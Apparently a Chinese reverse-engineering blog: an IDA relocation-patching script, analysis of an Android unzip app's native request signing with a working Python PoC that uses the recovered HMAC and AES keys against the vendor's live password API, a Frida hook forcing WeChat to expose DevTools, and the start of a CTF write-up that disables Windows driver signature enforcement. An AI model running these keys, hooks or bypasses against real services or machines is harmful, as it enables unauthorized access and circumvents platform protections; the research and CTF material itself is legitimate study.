relocation["resolved_value"] = None

resolved_value = relocation["resolved_value"]
relocation["resolved_name"] = (
ida_name.get_name(resolved_value) if resolved_value is not None else ""
)

return symbols, raw_relocations

def sanitize_name(name):
result = []
for character in name:
if character.isalnum() or character == "_":
result.append(character)
else:
result.append("_")
return "".join(result).strip("_")

def apply_relocations(relocations):
patched = 0
unchanged = 0
named_jump_slots = 0
skipped = 0

for relocation in relocations:
target_address = relocation["offset"]
resolved_value = relocation["resolved_value"]
relocation_type = relocation["type"]

if relocation_type in (R_AARCH64_RELATIVE, R_AARCH64_ABS64):
if resolved_value is None or ida_segment.getseg(target_address) is None:
skipped += 1
continue

current_value = struct.unpack("<Q", read_bytes(target_address, 8))[0]
patch_value = resolved_value & 0xFFFFFFFFFFFFFFFF
if current_value == patch_value:
unchanged += 1
elif ida_bytes.patch_qword(target_address, patch_value):
patched += 1
else:
skipped += 1
continue

if relocation_type == R_AARCH64_JUMP_SLOT:
symbol_name = relocation["symbol_name"]
if not symbol_name or ida_segment.getseg(target_address) is None:
skipped += 1
continue
got_name = "got_" + sanitize_name(symbol_name)
if ida_name.set_name(target_address, got_name, ida_name.SN_FORCE):
named_jump_slots += 1
else:
skipped += 1
continue

skipped += 1

return {
"patched": patched,
"unchanged": unchanged,
"named_jump_slots": named_jump_slots,
"skipped": skipped,
}

def format_hex(value):
if value is None:
return "-"
if value < 0:
return f"-0x{-value:X}"
return f"0x{value:X}"

def write_outputs(symbols, relocations):
idb_path = Path(ida_nalt.get_input_file_path())
output_directory = idb_path.parent
json_path = output_directory / "private-relocations.json"
text_path = output_directory / "private-relocations.txt"

result = {
"dynsym_start": DYNSYM_START,
"dynstr_start": DYNSTR_START,
"rela_start": RELA_START,
"rela_end": RELA_END,
"symbol_count": len(symbols),
"relocation_count": len(relocations),
"symbols": symbols,
"relocations": relocations,
}
json_path.write_text(json.dumps(result, ensure_ascii=False, indent=2), encoding="utf-8")

lines = [
f"dynsym: 0x{DYNSYM_START:X}",
f"dynstr: 0x{DYNSTR_START:X}",
f"rela: [0x{RELA_START:X}, 0x{RELA_END:X})",
f"symbols: {len(symbols)}",
f"relocations: {len(relocations)}",
"",
"index relocation offset type symbol addend resolved",
]
for relocation in relocations:
symbol_name = relocation["symbol_name"] or "-"
resolved = format_hex(relocation["resolved_value"])
if relocation["resolved_name"]:
resolved += f" ({relocation['resolved_name']})"
lines.append(
f"{relocation['index']:5d} "
f"0x{relocation['address']:08X} "
f"0x{relocation['offset']:08X} "
f"{relocation['type_name']:<24} "
f"{symbol_name:<30} "
f"{format_hex(relocation['addend']):<12} "
f"{resolved}"
)
text_path.write_text("\n".join(lines) + "\n", encoding="utf-8")
return json_path, text_path

def main():
symbols, relocations = parse_relocations()
patch_result = apply_relocations(relocations)
json_path, text_path = write_outputs(symbols, relocations)

type_counts = {}
for relocation in relocations:
type_name = relocation["type_name"]
type_counts[type_name] = type_counts.get(type_name, 0) + 1

print(f"解析符号数量: {len(symbols)}")
print(f"解析重定位数量: {len(relocations)}")
for type_name, count in sorted(type_counts.items()):
print(f"{type_name}: {count}")

print(f"实际写入补丁: {patch_result['patched']}")
print(f"原值已经正确: {patch_result['unchanged']}")
print(f"命名外部 GOT: {patch_result['named_jump_slots']}")
print(f"跳过项目: {patch_result['skipped']}")

for relocation in relocations:
if relocation["offset"] == 0x533D50:
print("0x533D50:", relocation)
break

print(f"JSON: {json_path}")
print(f"文本: {text_path}")

if __name__ == "__main__":
main()

分析 executeGBS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
__int64 __fastcall Java_com_jindk_zmcoreunzipwrapper_ZMCoreUnZipZipApi_executeGBS(
_JNIEnv *a1,
__int64 a2,
void *a3,
void *a4)
{
struct _jmethodID *StaticMethodID_1; // x0
const char *v6; // [xsp+10h] [xbp-250h]
char *v7; // [xsp+18h] [xbp-248h]
jbyte *ByteArrayElements; // [xsp+20h] [xbp-240h]
int ArrayLength; // [xsp+2Ch] [xbp-234h]
struct _jmethodID *ObjectField; // [xsp+30h] [xbp-230h]
struct _jmethodID *v11; // [xsp+38h] [xbp-228h]
jmethodID v12; // [xsp+40h] [xbp-220h]
void *v13; // [xsp+48h] [xbp-218h]
jclass v14; // [xsp+58h] [xbp-208h]
__int64 v15; // [xsp+68h] [xbp-1F8h]
jmethodID v16; // [xsp+70h] [xbp-1F0h]
jclass v17; // [xsp+78h] [xbp-1E8h]
struct _jmethodID *v18; // [xsp+90h] [xbp-1D0h]
__int64 v19; // [xsp+98h] [xbp-1C8h]
jclass v20; // [xsp+A0h] [xbp-1C0h]
void *v21; // [xsp+A8h] [xbp-1B8h]
void *v22; // [xsp+B0h] [xbp-1B0h]
int v23; // [xsp+D0h] [xbp-190h]
int v24; // [xsp+D4h] [xbp-18Ch]
int v25; // [xsp+D8h] [xbp-188h]
int v26; // [xsp+DCh] [xbp-184h]
const char *v27; // [xsp+E0h] [xbp-180h]
const char *v28; // [xsp+E8h] [xbp-178h]
const char *v29; // [xsp+F0h] [xbp-170h]
const char *StringUTFChars; // [xsp+F8h] [xbp-168h]
void *v31; // [xsp+100h] [xbp-160h]
void *v32; // [xsp+108h] [xbp-158h]
struct _jmethodID *StaticMethodID; // [xsp+110h] [xbp-150h]
jclass a2a; // [xsp+118h] [xbp-148h]
int v35; // [xsp+12Ch] [xbp-134h]
jmethodID v36; // [xsp+130h] [xbp-130h]
struct _jmethodID *v37; // [xsp+138h] [xbp-128h]
jmethodID MethodID; // [xsp+140h] [xbp-120h]
jclass Class; // [xsp+148h] [xbp-118h]
const char *v45; // [xsp+218h] [xbp-48h]
const char *v46; // [xsp+238h] [xbp-28h]
const char *v47; // [xsp+258h] [xbp-8h]

Class = _JNIEnv::FindClass(a1, "android/content/Context");
if ( Class == nullptr )
return 0;
MethodID = _JNIEnv::GetMethodID(&a1->functions, Class, "getPackageManager", "()Landroid/content/pm/PackageManager;");
v37 = _JNIEnv::GetMethodID(&a1->functions, Class, "getPackageName", "()Ljava/lang/String;");
if ( a4 == nullptr || MethodID == nullptr || v37 == nullptr )
return 0;
v36 = _JNIEnv::CallObjectMethod(&a1->functions, a4, v37);
if ( v36 == nullptr )
return 0;
v35 = ZMCoreUnzip_executeCVS(a1, a4);
a2a = _JNIEnv::FindClass(a1, "java/lang/String");
StaticMethodID = _JNIEnv::GetStaticMethodID(&a1->functions, a2a, "valueOf", "(I)Ljava/lang/String;");
v32 = (void *)_JNIEnv::CallStaticObjectMethod(
&a1->functions,
a2a,
StaticMethodID,
(unsigned int)(2 * ((v35 >> 2) - 169) + 127));
v31 = (void *)_JNIEnv::CallStaticObjectMethod(&a1->functions, a2a, StaticMethodID, (unsigned int)v35);
if ( v32 == nullptr || v31 == nullptr )
return 0;
StringUTFChars = _JNIEnv::GetStringUTFChars(&a1->functions, v31, nullptr);
v29 = _JNIEnv::GetStringUTFChars(&a1->functions, v36, nullptr);
v28 = _JNIEnv::GetStringUTFChars(&a1->functions, a3, nullptr);
v27 = _JNIEnv::GetStringUTFChars(&a1->functions, v32, nullptr);
if ( StringUTFChars == nullptr || v29 == nullptr || v28 == nullptr || v27 == nullptr )
return 0;
v26 = j_got_strlen_chk(StringUTFChars, -1);
v25 = j_got_strlen_chk(v29, -1);
v24 = j_got_strlen_chk(v28, -1);
v23 = j_got_strlen_chk(v27, -1);
v47 = (const char *)j_got_malloc(v26 + v25 + v24 + v23 + 1);
j_got_memcpy_chk(v47, StringUTFChars, v26, -1);
v46 = &v47[v26];
j_got_memcpy_chk(v46, v29, v25, -1);
v45 = &v46[v25];
j_got_memcpy_chk(v45, v28, v24, -1);
j_got_memcpy_chk(&v45[v24], v27, v23, -1);
v47[v26 + v25 + v24 + v23] = 0;
v22 = (void *)_JNIEnv::NewStringUTF(a1, v47);
j_got_free(v47);
v21 = (void *)_JNIEnv::NewStringUTF(a1, "gwFG#9P!ad+*PMUnisapps$Rs#L!_1G9");
v20 = _JNIEnv::FindClass(a1, "java/lang/String");
v19 = _JNIEnv::NewStringUTF(a1, "utf-8");
v18 = _JNIEnv::GetMethodID(&a1->functions, v20, "getBytes", "(Ljava/lang/String;)[B");
_JNIEnv::CallObjectMethod(&a1->functions, v21, v18);
_JNIEnv::CallObjectMethod(&a1->functions, v22, v18);
v17 = _JNIEnv::FindClass(a1, "javax/crypto/spec/SecretKeySpec");
if ( v17 == nullptr )
return 0;
v16 = _JNIEnv::GetMethodID(&a1->functions, v17, "<init>", "([BLjava/lang/String;)V");
v15 = _JNIEnv::NewStringUTF(a1, "HmacSHA1");
_JNIEnv::NewObject(&a1->functions, v17, v16);
v14 = _JNIEnv::FindClass(a1, "javax/crypto/Mac");
if ( v14 == nullptr )
return 0;
StaticMethodID_1 = _JNIEnv::GetStaticMethodID(
&a1->functions,
v14,
"getInstance",
"(Ljava/lang/String;)Ljavax/crypto/Mac;");
v13 = (void *)_JNIEnv::CallStaticObjectMethod(&a1->functions, v14, StaticMethodID_1, v15);
v12 = _JNIEnv::GetMethodID(&a1->functions, v14, "init", "(Ljava/security/Key;)V");
v11 = _JNIEnv::GetMethodID(&a1->functions, v14, "doFinal", "([B)[B");
_JNIEnv::CallVoidMethod(&a1->functions, (__int64)v13, (__int64)v12);
ObjectField = _JNIEnv::CallObjectMethod(&a1->functions, v13, v11);
ArrayLength = _JNIEnv::GetArrayLength(&a1->functions, (__int64)ObjectField);
if ( ArrayLength == 0 )
return 0;
ByteArrayElements = _JNIEnv::GetByteArrayElements(&a1->functions, ObjectField, nullptr);
v7 = (char *)j_got_malloc(ArrayLength + 1);
j_got_memcpy_chk(v7, ByteArrayElements, ArrayLength, -1);
v7[ArrayLength] = 0;
v6 = ZMCoreUnZip_BXF_encode(v7, ArrayLength);
if ( v6 == nullptr )
return 0;
_JNIEnv::DeleteLocalRef(&a1->functions, (__int64)v22);
_JNIEnv::DeleteLocalRef(&a1->functions, v15);
_JNIEnv::DeleteLocalRef(&a1->functions, (__int64)v21);
_JNIEnv::DeleteLocalRef(&a1->functions, v19);
j_got_free(v7);
return _JNIEnv::NewStringUTF(a1, v6);
}

伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int ZMCoreUnzip_executeCVS(Context context) {
String packageName = context.getPackageName();
if (!packageName.equals("com.fileunzip.zxwknight")) {
return -300;
}

PackageManager pm = context.getPackageManager();
int flags = (SDK_INT >= 28) ? 0x08000000 : 0x40;

PackageInfo pi = pm.getPackageInfo(packageName, flags);

// Android 9+ 走 signingInfo,旧版本走 PackageInfo.signatures
Signature[] signatures = GetApkSignatures(pi);

// 当前样本最终取第一个签名对象的 hashCode()
return signatures[0].hashCode();
}

jstring NativeGetQPWATImpl(JNIEnv *env, jclass clazz, jstring input, jobject context) {
String packageName = context.getPackageName(); // 当前样本 = "com.fileunzip.zxwknight"
int ctxValue = ZMCoreUnzip_executeCVS(context); // 当前样本静态复现 = 516622220

int tail = 2 * ((ctxValue >> 2) - 169) + 127; // 见 0x4B9008-0x4B9030

String data =
String.valueOf(ctxValue) + // 前缀1:签名 hashCode
packageName + // 前缀2:包名
input + // 中间:Java 侧传来的 fileName + fileSize
String.valueOf(tail); // 后缀:由 ctxValue 推导

byte[] key = "gwFG#9P!ad+*PMUnisapps$Rs#L!_1G9".getBytes("utf-8");
byte[] body = data.getBytes("utf-8");

Mac mac = Mac.getInstance("HmacSHA1"); // 算法固定为 HMAC-SHA1
mac.init(new SecretKeySpec(key, "HmacSHA1"));
byte[] digest = mac.doFinal(body);

return ZMCoreUnZip_BXF_encode(digest); // Base64 编码别名,编码表为 A-Z a-z 0-9 + / =
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python3
"""
Minimal fixed-value PoC for:
1. submit zip password -> /api/v3/sync/ads
2. query zip password -> /api/v3/search/info

Usage:
python min_zip_password_poc.py submit "a.zip" "123456"
python min_zip_password_poc.py query "a.zip"
"""

import argparse
import base64
import hashlib
import hmac
import json
import os
from pathlib import Path

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

REGION = "CN"

PACKAGE_NAME = "com.fileunzip.zxwknight"
VERSION_NAME = "3.2.23"
APP_ID = "zipa"
PLATFORM = "android"
CTX_VALUE = 516622220

QUERY_URL = "https://file.unisapps.com/api/v3/search/info"
SUBMIT_URL = "https://file.unisapps.com/api/v3/sync/ads"

ACCESS_KEY = b"gwFG#9P!ad+*PMUnisapps$Rs#L!_1G9"
AES_KEY = b"EyR2JvBXJXaUdY9auxetvhpEeQ8DmC6L"

def file_md5(path: Path) -> str:
md5 = hashlib.md5()
with path.open("rb") as fp:
for chunk in iter(lambda: fp.read(1024 * 1024), b""):
md5.update(chunk)
return md5.hexdigest()

def build_user_client_access(file_name: str, file_size: int) -> str:
tail = 2 * ((CTX_VALUE >> 2) - 169) + 127
text = f"{CTX_VALUE}{PACKAGE_NAME}{file_name}{file_size}{tail}".encode("utf-8")
digest = hmac.new(ACCESS_KEY, text, hashlib.sha1).digest()
return base64.b64encode(digest).decode("ascii")

def encrypt_json(obj: dict) -> str:
plain = json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
iv = os.urandom(16)
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(plain, AES.block_size))
body = {
"data": base64.b64encode(data).decode("ascii"),
"iv": base64.b64encode(iv).decode("ascii"),
}
return json.dumps(body, ensure_ascii=False, separators=(",", ":"))

def try_decrypt_response(text: str) -> str | None:
try:
obj = json.loads(text)
data = base64.b64decode(obj["data"])
iv = base64.b64decode(obj["iv"])
except Exception:
return None

cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
try:
plain = unpad(cipher.decrypt(data), AES.block_size)
except Exception:
return None
return plain.decode("utf-8", errors="replace")

def submit_password(file_name: str, file_size: int, md5_value: str, password: str) -> None:
body = encrypt_json(
{
"fileName": file_name,
"fileSize": file_size,
"pd": password,
"region": REGION,
"md5": md5_value,
}
)
headers = {
"Content-Type": "application/json; charset=utf-8",
"appid": APP_ID,
"version": VERSION_NAME,
"platform": PLATFORM,
}
resp = requests.post(SUBMIT_URL, data=body.encode("utf-8"), headers=headers, timeout=20)
print("[submit] status =", resp.status_code)
print("[submit] body =", resp.text)

def query_password(file_name: str, file_size: int, md5_value: str) -> None:
body = encrypt_json(
{
"fileName": file_name,
"fileSize": file_size,
"md5": md5_value,
}
)
headers = {
"Content-Type": "application/json; charset=utf-8",
"User-Client-Access": build_user_client_access(file_name, file_size),
"appid": APP_ID,
"version": VERSION_NAME,
"platform": PLATFORM,
}
resp = requests.post(QUERY_URL, data=body.encode("utf-8"), headers=headers, timeout=20)
print("[query] status =", resp.status_code)
print("[query] body =", resp.text)

plain = try_decrypt_response(resp.text)
if plain is not None:
print("[query] decrypted =", plain)

def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Minimal zip password submit/query PoC")
parser.add_argument("action", choices=["submit", "query"])
parser.add_argument("path", help="local archive path")
parser.add_argument("password", nargs="?", help="required for submit")
args = parser.parse_args()
if args.action == "submit" and not args.password:
parser.error("password is required for submit")
return args

def main() -> None:
args = parse_args()
file_path = Path(args.path)
if not file_path.is_file():
raise SystemExit(f"file not found: {file_path}")

file_name = file_path.name
file_size = file_path.stat().st_size
md5_value = file_md5(file_path)

print("fileName =", file_name)
print("fileSize =", file_size)
print("md5 =", md5_value)

if args.action == "submit":
submit_password(file_name, file_size, md5_value, args.password)
if args.action == "query":
query_password(file_name, file_size, md5_value)

if __name__ == "__main__":
main()
阅读更多

Wechat 开启 H5 DevTools

2026/07/03

环境:Android 微信 8.0.69
目标:让 chrome://inspect 能看到并调试微信内打开的 H5 网页 (真实 DOM / Console / Network / 断点), 不包括小程序

背景

微信有两套浏览器内核

微信打开网页不是用一个固定的浏览器,而是在 XWeb 框架下可选多个内核。本文只关心两个:

Pinus 内核(默认)

Pinus 是腾讯基于 Chromium 自研裁剪的浏览器内核(源码路径里叫 weblayer,基于 Chrome 116),
以 libxwebcore.so(135MB)的形式打包在微信里,类名 com.tencent.xweb.pinus.sdk.WebView,
内核类型枚举值 WV_KIND_PINUS

它的调试不走标准通道:Pinus 不开标准的 webview_devtools_remote 调试端口,而是走微信
自己的私有远程调试(往 xweb.weixin.qq.com 拨 WebSocket 隧道),chrome 连不上

系统 WebView 内核

就是 Android 系统自带的 WebView(本机是 libmonochrome_64.so,171MB,Chrome 130),
内核类型 WV_KIND_SYS。它是标准 Chromium,开启调试后会 bind 标准的
webview_devtools_remote_<pid> 端口,chrome://inspect 直接就能连

开启 webview 调试为什么无法连接上

调用 android.webkit.WebView.setWebContentsDebuggingEnabled(true) 想开调试但因为渲染页面的是 Pinus,开调试端口的却是系统 WebView。所以 chrome://inspect 里能看到”远程浏览器”,却没有可点的 page。

1
2
3
4
5
com.tencent.mm (UI 进程)
├── Pinus 内核 (libxwebcore, Chrome116)
│ 渲染 H5 页面 ✓ 不开标准调试端口 ✗ -> 走私有隧道 → xweb.weixin.qq.com
└── 系统 WebView 内核 (libmonochrome, Chrome130)
开调试端口 ✓ 默认不渲染页面 ✗ -> /json 恒为 [],无法 inspect

一、系统 WebView 内核方案

1. 做法总览

强制微信用系统 WebView 渲染 H5 + 开启系统 WebView 调试。 setWebContentsDebuggingEnabled(true) 只对 系统 WebView 那套生效

2. 选择内核

1
2
3
4
5
6
WebView.I0(ctx, kind, module, cb)       initWebviewCore — 真正的初始化入口
├─ WebView.H0(kind, module) getPreferedWebviewType — 解析用哪个内核
│ └─ t0.a.c(module) t0.a = new u0() (u0 的静态单例)
│ └─ u0.c(module) 读 HardCodeWebView<module> → ABTestWebView<module>
│ └─ z3.f() 打开 SharedPreferences "xweb_debug"
└─ WebView.J0(ctx, H0 返回值, …) 成功则 WebView.m = kind, 进程内只决策一次

2.1 枚举 f1

1
2
3
4
5
6
7
8
// com.tencent.xweb.f1  (X5 字段已移除, 仅留在 values 数组)
public enum f1 {
WV_KIND_NONE, // ordinal 0 → 字段 d
WV_KIND_CW, // ordinal 1 → 字段 e
WV_KIND_X5, // ordinal 2 (无字段, 已移除)
WV_KIND_SYS, // ordinal 3 → 字段 f
WV_KIND_PINUS // ordinal 4 → 字段 g
}

2.2 WebView.H0 — 决策入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// com.tencent.xweb.WebView.H0(f1 kind, String module) 原名 getPreferedWebviewType
public static f1 H0(f1 f10, String s) {
f1 f11 = f1.d; // d = NONE
if (WebView.m != f11) return WebView.m; // ★ 已决策过 → 直接用缓存 (进程内只一次)
if (br5.a.c()) { br5.s0.d(69L, 1); return f1.f; } // x86 → f = SYS

f1 f13 = t0.a.c(s); // 读 HardCodeWebView<module> (见 2.3)
if (f13 == f11) { // 没配 HardCode
String s1 = b.m().g("setwebtype", s); // 退而读服务器 cmd 配置
if (s1 != null && !s1.isEmpty()) f10 = f1.valueOf(s1);
} else {
f10 = f13; // 用 HardCode (优先级最高, 跳过 cmd 配置)
}

f1 f12 = f1.f; // 默认 = SYS
if (f10 != f1.e && f10 != f1.g) { // 非 CW(e) 且 非 PINUS(g)
f12 = f10; // 采用 f10
} else {
WebView.p = true; // 标记 xweb 不可用, 兜底 SYS
}
return f12; // 交给 I0→J0 写进 WebView.m
}

代码里直接读出三点:

  • 只决策一次:WebView.m != NONE 就直接返回。WebView.m 由 I0(initWebviewCore)→ J0 在第一个 WebView 创建时写一次(WebView.m = f10),之后全进程复用 —— 运行时改 WebView.m 或刷页面没用,旧 WebView 早用 Pinus 建好了。
  • HardCode 优先级最高:t0.a.c(module) 返回非 NONE 就直接采用,根本不读服务器 setwebtype。
  • CW / PINUS 兜底成 SYS:落 else 分支 WebView.p=true。我们写 WV_KIND_SYS 不触发兜底,稳走 SYS。

2.3 u0.c — 读 HardCodeWebView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// com.tencent.xweb.u0.c(String module)
public f1 c(String s) {
f1 f10 = f1.d; // NONE
if (s == null || s.isEmpty() || this.a == null) return f10;
SharedPreferences sp = z3.f(); // 打开 "xweb_debug" (见 2.4)
if (sp == null) return f10;
String s1 = sp.getString("HardCodeWebView" + s, ""); // ★ 先 HardCode
if (s1 == null || s1.isEmpty() || s1.equals("WV_KIND_NONE")) {
s1 = sp.getString("ABTestWebView" + s, ""); // 再 ABTest 兜底
}
if (s1 == null || s1.isEmpty()) return f10;
try { this.b = f1.valueOf(s1); } catch (Throwable t) { this.b = f10; }
return this.b;
}

2.4 z3.f — 打开 xweb_debug

1
2
3
4
5
6
7
8
// br5.z3
public static SharedPreferences f() { return z3.h("xweb_debug"); }

public static SharedPreferences h(String s) { // z3.h = 经典 SP (非 MMKV)
Context context0 = z3.b;
if (context0 == null) return null;
return context0.getSharedPreferences(s, 4); // MODE_MULTI_PROCESS
}

串起来:往 xweb_debug 写 HardCodeWebViewmm = WV_KIND_SYS → u0.c("mm") 返回 SYS → H0 采用、返回 SYS → I0/J0 写进 WebView.m → 系统内核渲染、标准调试端口有页面。

3. 落地代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function hookDevTools() {
// 选择内核 H0 恒返回 SYS
const W = Java.use('com.tencent.xweb.WebView')
const F: any = Java.use('com.tencent.xweb.f1')
const SYS = F.valueOf('WV_KIND_SYS')
W.H0.implementation = function (kind: any, m: any) {
W.m.value = SYS
log('call com.tencent.xweb.WebView.H0', kind, m, '->', SYS)
return SYS
}
// 启用调试
Java.perform(() => {
Java.scheduleOnMainThread(() => {
Java.use('android.webkit.WebView').setWebContentsDebuggingEnabled(true);
utils.log('call WebView.setWebContentsDebuggingEnabled(true)')
})
})
}

4. 注入哪个进程、具体怎么做

核心前提:hookDevTools 只要保证 WebView.H0 在首次点开 H5 网页之前被 hook 住即可。

注入进程:UI 进程 com.tencent.mm(无后缀)。它是最终渲染 H5、H0 选择内核的进程。

完整流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 完全关闭微信
adb shell am force-stop com.tencent.mm

# 2. 手动打开微信 App 先别点任何网页

# 3. frida attach UI 进程, 加载脚本

# 4. 在微信里点开目标 H5 网页
# → 首次点击触发 H0 → 被 hook 强制成系统 WebView 内核渲染
# → setWebContentsDebuggingEnabled(true) 已开, 页面注册进标准调试端口

# 5. 电脑 chrome 打开 chrome://inspect
# → Devices 里直接出现该页面 → 点 inspect (真 DOM/Console/Network/断点)

二、Pinus 内核自己的私有调试(存档)

「不切系统内核、直接在 Pinus 上调试」的可行性分析
结论:技术可行,但要自己搭中转 + 破触发锁,投入产出比低
基于 libxwebcore.so(Chrome116)逆向

6. Pinus 调试是「往外拨」,不是「等你连」

系统 WebView 是开个本地端口等 chrome 来连(server 模型)。Pinus 相反 —— 它是客户端,
主动拨号连微信服务器,把 CDP 流量通过 WebSocket 隧道转出去:

1
2
3
4
5
6
7
8
9
10
11
12
13
页面 JS 调 window.xweb_remote_debug.RemoteDebugStart(token)
│ (该 JS 对象由 render frame observer 注入)
▼
① 注册设备 POST https://xweb.weixin.qq.com/api/rd/create_device
▼
② 设备隧道 连 wss://xweb.weixin.qq.com/rd/device/<deviceId>?role=user
▼ (等服务器下发 JSON 命令)
③ 服务器下发 {"method":"XWeb.inspect","params":{"targetId":..,"deviceToken":..}}
▼
④ Pinus 用 targetId 找到真实 DevToolsAgentHost (和系统内核同一套 host 查找)
▼
⑤ 目标隧道 连 wss://xweb.weixin.qq.com/rd/target/<targetId>?role=user&token=<token>
这条隧道里跑的就是【真实原生 CDP】

设备隧道命令(XWebDevTools_OnTunnelData):XWeb.targets / XWeb.version /
XWeb.inspect / XWeb.close / XWeb.NetLog*。CDP 会话本身是完整原生的,只是被套进
隧道发去了微信服务器。

7. 帧格式与地址(静态读出)

帧格式:XWebWebSocketAdapter::Write(0x270A3D4)拿一段裸字节直接塞进 WebSocket,
无自定义封包,就是「JSON 文本 over WebSocket」:

  • 设备隧道:收 {"method":"XWeb.inspect","params":{...}},发 {"event":"...","data":{...}}
  • 目标隧道:收发就是裸 CDP JSON({"id":1,"method":"Runtime.evaluate",...} 及其 response),
    进出点 sub_270CF24(server→CDP)/ sub_3627EEC(CDP→server)

三个地址全写死 host = xweb.weixin.qq.com,只有 id/token 是变量:
api/rd/create_device、rd/device/%s、rd/target/%s?token=%s。

8. 触发被三重锁死(私有化的真正门槛)

想让 Pinus 自己发起,入口是页面 JS window.xweb_remote_debug.RemoteDebugStart(token),但:

  1. JS 注册域名锁:RemoteDebugStart 只在页面域名 = xweb.weixin.qq.com 时才挂到
    window.xweb_remote_debug(sub_2715ABC)。普通 H5 页面只有 RemoteDebugStatus/Stop。
  2. 二次域名校验:HandleRemoteDebugStart(0x2716500)里又查一遍,非该域名返回 invalid domain。
  3. 需要 token + renderer 线程:token 来自微信调试门户,create_device 也要联微信服务器。

9. 私有化路线(若非做不可)

  1. spawn 时(页面加载前)hook std::string == "xweb.weixin.qq.com"(0x26D8860,窄化到只对
    该域名返回真)绕过两处域名锁。
  2. hook XWeb_RD_CreateDevice(0x2711A18)、XWebTarget_StartClientProxy(0x270D194),把
    xweb.weixin.qq.com 改写成 ws://localhost:<port>。
  3. 本地中转扮演三个角色:create_device(返 deviceId)+ 设备隧道(下发
    XWeb.inspect{targetId, deviceToken},targetId 从 XWeb.targets 返回里拿)+ 目标隧道
    (裸 CDP 双向桥给 chrome 前端)。
  4. 注入帧要打进真正渲染内容的 render frame,不是 appbrand 的 about:blank 容器帧。

实测尝试运行时抓帧,卡在:触发锁 + 多进程漂移(H5 落 :appbrand0)+ 注入到空容器帧。
比板块一重得多,除非必须用 Pinus 内核渲染又要调试,否则不建议。


附:关键符号

符号 作用
com.tencent.xweb.f1 内核类型枚举 (WV_KIND_*)
com.tencent.xweb.WebView.H0(f1, String) 内核决策入口 (getPreferedWebviewType)
com.tencent.xweb.WebView.m 缓存已决策内核的静态字段
com.tencent.xweb.u0.c(String) 从 xweb_debug SP 读 HardCodeWebView
br5.z3.f() 打开 SharedPreferences “xweb_debug”
com.tencent.xweb.pinus.sdk.WebView Pinus 内核 WebView

Native 模块:

模块 说明
libxwebcore.so Pinus 内核 (Chrome 116),渲染页面
libmonochrome_64.so 系统 WebView (Chrome 130),标准调试端口
socket webview_devtools_remote_<pid> 系统 WebView 的调试端口

libxwebcore.so Pinus 私有调试函数(libxwebcore.so.i64):

RVA 名字 作用
0x2715658 XWebFrameHelper_CreateXWebExtend 注入 window.xweb_remote_debug
0x2715ABC (AddRemoteDebugMethods) 注册 JS 方法;RemoteDebugStart 有域名锁
0x2716500 (HandleRemoteDebugStart) Start 处理,二次域名校验 + 取 token
0x2711A18 XWeb_RD_CreateDevice 注册设备,硬编码 create_device URL
0x2711F64 (device tunnel WS) 开设备隧道 rd/device
0x270EB0C XWebDevTools_OnTunnelData 设备隧道命令分发
0x270D194 XWebTarget_StartClientProxy 开目标隧道,硬编码 rd/target URL
0x270CF24 (target onMessage) 目标隧道 server→CDP 入口
0x3627EEC (session dispatch) CDP→server 出口
0x270A3D4 XWebWebSocketAdapter::Write 裸字节写 WS(无自定义封包)
0x26D8860 std::string::operator==(char*) 域名锁字符串比较(绕过点)
0x3615C5C XWeb_GetTabHostById 按 targetId 查真实 DevToolsAgentHost

提取 libxwebcore.so:解 split_delivery.config.arm64_v8a.apk → 取 libxwebfullpack.so
(是个 zip)→ 再解出 libxwebcore.so。
提取 libmonochrome_64.so:从 com.google.android.trichromelibrary_* 的 base.apk
取 lib/arm64-v8a/libmonochrome_64.so。

阅读更多

2026 腾讯游戏安全 PC 初赛 WP

2026/04/30

驱动加载

使用 EfiGuard 进行 PG 和 DSE 修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 挂载 EFI 到 M:,注意在 explorer 中是看不到的
mountvol M: /S
M:
mkdir \EFI\EfiGuard

copy C:\EfiGuard\EFI\Boot\Loader.efi M:\EFI\EfiGuard\
copy C:\EfiGuard\EFI\Boot\EfiGuardDxe.efi M:\EFI\EfiGuard\

// 创建启动项,生成一个 GUID,下面要用
bcdedit /copy {bootmgr} /d "EfiGuard"
bcdedit /set {上面的GUID} path \EFI\EfiGuard\Loader.efi
bcdedit /set {fwbootmgr} displayorder {上面的GUID} /addfirst

// 取消第一启动,恢复
bcdedit /set {fwbootmgr} displayorder {bootmgr} /addfirst

绿字进系统后关闭 DSE 就可以加载驱动了

1
2
3
4
5
EfiDSEFix.exe -d

Disabling DSE...
CI!g_CiOptions at 0xFFFFF800648391B0.
Successfully disabled DSE. Original g_CiOptions value: 0xE

启动驱动后运行程序

image.png

exe 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
